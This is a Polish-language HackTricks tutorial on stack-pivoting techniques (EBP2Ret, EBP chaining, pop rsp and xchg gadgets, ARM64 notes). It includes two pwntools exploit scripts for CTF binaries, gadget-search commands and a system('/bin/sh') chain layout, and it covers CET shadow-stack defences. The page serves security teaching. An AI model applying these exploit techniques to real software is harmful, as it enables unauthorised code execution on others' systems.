hacktricks/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

14 KiB

Stack Pivoting - EBP2Ret - EBP chaining

{{#include ../../banners/hacktricks-training.md}}

Podstawowe informacje

Ta technika wykorzystuje możliwość manipulacji Wskaźnikiem Bazowym (EBP/RBP) do łączenia wykonania wielu funkcji poprzez staranne użycie wskaźnika ramki oraz sekwencji instrukcji leave; ret.

Przypominając, na x86/x86-64 leave jest równoważne z:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

I jako że zapisany EBP/RBP znajduje się na stosie przed zapisanym EIP/RIP, możliwe jest jego kontrolowanie poprzez kontrolowanie stosu.

Uwagi

  • W 64-bit, zamień EBP→RBP i ESP→RSP. Semantyka jest taka sama.
  • Niektórzy kompilatory pomijają wskaźnik ramki (zobacz „EBP może nie być używane”). W takim przypadku leave może nie wystąpić i ta technika nie zadziała.

EBP2Ret

Ta technika jest szczególnie przydatna, gdy możesz zmienić zapisany EBP/RBP, ale nie masz bezpośredniego sposobu na zmianę EIP/RIP. Wykorzystuje zachowanie epilogu funkcji.

Jeśli podczas wykonywania fvuln uda ci się wstrzyknąć fałszywy EBP na stosie, który wskazuje na obszar w pamięci, gdzie znajduje się adres twojego shellcode/łańcucha ROP (plus 8 bajtów na amd64 / 4 bajty na x86, aby uwzględnić pop), możesz pośrednio kontrolować RIP. Gdy funkcja zwraca, leave ustawia RSP na skonstruowaną lokalizację, a następny pop rbp zmniejsza RSP, skutecznie wskazując na adres przechowywany przez atakującego tam. Następnie ret użyje tego adresu.

Zauważ, że musisz znać 2 adresy: adres, na który ma iść ESP/RSP, oraz wartość przechowywaną pod tym adresem, którą ret będzie konsumować.

Budowa Exploita

Najpierw musisz znać adres, w którym możesz zapisać dowolne dane/adresy. RSP będzie wskazywał tutaj i skonsumuje pierwszy ret.

Następnie musisz wybrać adres używany przez ret, który przeniesie wykonanie. Możesz użyć:

  • Ważnego ONE_GADGET adresu.
  • Adresu system(), po którym następuje odpowiedni powrót i argumenty (na x86: cel ret = &system, następnie 4 bajty śmieci, potem &"/bin/sh").
  • Adresu gadżetu jmp esp; (ret2esp) po którym następuje inline shellcode.
  • Łańcucha ROP umieszczonego w zapisywalnej pamięci.

Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanym obszarze musi być miejsce na pop ebp/rbp z leave (8B na amd64, 4B na x86). Możesz wykorzystać te bajty, aby ustawić drugi fałszywy EBP i utrzymać kontrolę po zwrocie z pierwszego wywołania.

Exploit Off-By-One

Istnieje wariant używany, gdy możesz zmodyfikować tylko najmniej znaczący bajt zapisanego EBP/RBP. W takim przypadku lokalizacja pamięci przechowująca adres, do którego należy skoczyć z ret, musi dzielić pierwsze trzy/pięć bajtów z oryginalnym EBP/RBP, aby 1-bajtowe nadpisanie mogło go przekierować. Zwykle niski bajt (offset 0x00) jest zwiększany, aby skoczyć jak najdalej w obrębie pobliskiej strony/wyjustowanego obszaru.

Często używa się również RET sled na stosie i umieszcza prawdziwy łańcuch ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy RSP wskazuje wewnątrz sled i końcowy łańcuch ROP jest wykonywany.

Łańcuchowanie EBP

Umieszczając kontrolowany adres w zapisanym slocie EBP na stosie i gadżet leave; ret w EIP/RIP, możliwe jest przeniesienie ESP/RSP do adresu kontrolowanego przez atakującego.

Teraz RSP jest kontrolowane, a następna instrukcja to ret. Umieść w kontrolowanej pamięci coś takiego jak:

  • &(next fake EBP) -> Ładowane przez pop ebp/rbp z leave.
  • &system() -> Wywoływane przez ret.
  • &(leave;ret) -> Po zakończeniu system przenosi RSP do następnego fałszywego EBP i kontynuuje.
  • &("/bin/sh") -> Argument dla system.

W ten sposób możliwe jest łańcuchowanie kilku fałszywych EBP, aby kontrolować przepływ programu.

To jest jak ret2lib, ale bardziej złożone i użyteczne tylko w skrajnych przypadkach.

Ponadto, tutaj masz przykład wyzwania, które wykorzystuje tę technikę z wyciekiem stosu, aby wywołać zwycięską funkcję. To jest końcowy ładunek z tej strony:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

wskazówka dotycząca wyrównania amd64: System V ABI wymaga 16-bajtowego wyrównania stosu w miejscach wywołań. Jeśli twoja łańcuch wywołuje funkcje takie jak system, dodaj gadżet wyrównania (np. ret, lub sub rsp, 8 ; ret) przed wywołaniem, aby utrzymać wyrównanie i uniknąć awarii movaps.

EBP może nie być używane

Jak wyjaśniono w tym poście, jeśli binarka jest kompilowana z pewnymi optymalizacjami lub z pominięciem wskaźnika ramki, EBP/RBP nigdy nie kontroluje ESP/RSP. Dlatego każdy exploit działający poprzez kontrolowanie EBP/RBP zakończy się niepowodzeniem, ponieważ prolog/epilog nie przywraca z wskaźnika ramki.

  • Nieoptymalizowane / używany wskaźnik ramki:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optymalizowane / wskaźnik ramki pominięty:
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

Na amd64 często zobaczysz pop rbp ; ret zamiast leave ; ret, ale jeśli wskaźnik ramki jest całkowicie pominięty, to nie ma epilogu opartego na rbp, przez który można by przejść.

Inne sposoby kontrolowania RSP

gadżet pop rsp

Na tej stronie znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a tam był gadżet pop rsp i występował leak ze stosu:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Sprawdź technikę ret2esp tutaj:

{{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}}

Szybkie znajdowanie gadżetów pivot

Użyj swojego ulubionego narzędzia do wyszukiwania gadżetów, aby znaleźć klasyczne prymitywy pivot:

  • leave ; ret w funkcjach lub w bibliotekach
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (lub add esp, <imm> ; ret na x86)

Przykłady:

# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Klasyczny wzór stagingu pivotu

Robustna strategia pivotu używana w wielu CTF/eksploatach:

  1. Użyj małego początkowego przepełnienia, aby wywołać read/recv do dużego zapisywalnego obszaru (np. .bss, heap lub mapowane pamięci RW) i umieść tam pełny łańcuch ROP.
  2. Wróć do gadżetu pivotu (leave ; ret, pop rsp, xchg rax, rsp ; ret), aby przenieść RSP do tego obszaru.
  3. Kontynuuj z zaplanowanym łańcuchem (np. wyciek libc, wywołanie mprotect, następnie read shellcode, a potem skok do niego).

Nowoczesne zabezpieczenia, które łamią pivotowanie stosu (CET/Shadow Stack)

Nowoczesne procesory x86 i systemy operacyjne coraz częściej wdrażają CET Shadow Stack (SHSTK). Przy włączonym SHSTK, ret porównuje adres powrotu na normalnym stosie z chronionym sprzętowo stosie cieniowym; jakiekolwiek niezgodności powodują błąd ochrony kontrolnej i kończą proces. Dlatego techniki takie jak EBP2Ret/leave;ret oparte na pivotach będą się zawieszać, gdy tylko pierwszy ret zostanie wykonany z pivotowanego stosu.

  • Dla tła i głębszych szczegółów zobacz:

{{#ref}} ../common-binary-protections-and-bypasses/cet-and-shadow-stack.md {{#endref}}

  • Szybkie kontrole na Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Notatki do laboratoriów/CTF:

  • Niektóre nowoczesne dystrybucje włączają SHSTK dla binariów z włączonym CET, gdy dostępne jest wsparcie sprzętowe i glibc. W przypadku kontrolowanego testowania w VM, SHSTK można wyłączyć systemowo za pomocą parametru uruchamiania jądra nousershstk, lub selektywnie włączyć za pomocą tuningu glibc podczas uruchamiania (zobacz odniesienia). Nie wyłączaj zabezpieczeń na celach produkcyjnych.

  • Techniki oparte na JOP/COOP lub SROP mogą nadal być wykonalne na niektórych celach, ale SHSTK szczególnie łamie ret-based pivots.

  • Uwaga dotycząca Windows: Windows 10+ udostępnia tryb użytkownika, a Windows 11 dodaje tryb jądra „Hardware-enforced Stack Protection” oparty na shadow stacks. Procesy zgodne z CET zapobiegają pivotowaniu stosu/ROP przy ret; deweloperzy muszą się zgodzić za pomocą CETCOMPAT i powiązanych polityk (zobacz odniesienie).

ARM64

W ARM64, prolog i epilog funkcji nie przechowują ani nie pobierają rejestru SP na stosie. Ponadto, instrukcja RET nie zwraca do adresu wskazywanego przez SP, ale do adresu wewnątrz x30.

Dlatego, domyślnie, po prostu nadużywając epilogu nie będziesz w stanie kontrolować rejestru SP przez nadpisanie danych wewnątrz stosu. A nawet jeśli uda ci się kontrolować SP, nadal potrzebujesz sposobu na kontrolowanie rejestru x30.

  • prolog
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP wskazuje na rekord ramki
  • epilog
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

[!OSTRZEŻENIE] Sposobem na wykonanie czegoś podobnego do pivotowania stosu w ARM64 byłoby być w stanie kontrolować SP (poprzez kontrolowanie jakiegoś rejestru, którego wartość jest przekazywana do SP lub ponieważ z jakiegoś powodu SP pobiera swój adres ze stosu i mamy przepełnienie) i następnie nadużyć epilogu, aby załadować rejestr x30 z kontrolowanego SP i RET do niego.

Również na następnej stronie możesz zobaczyć odpowiednik Ret2esp w ARM64:

{{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}}

Odniesienia

{{#include ../../banners/hacktricks-training.md}}